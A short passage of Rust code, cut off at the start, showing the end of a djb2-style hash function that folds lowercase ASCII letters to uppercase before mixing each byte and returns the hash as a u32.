if (&b'a'..=&b'z').contains(&b) {
hash = ((hash << 5).wrapping_add(hash)) + *b as usize - 0x20;
} else {
hash = ((hash << 5).wrapping_add(hash)) + *b as usize;
}
}
hash as u32
}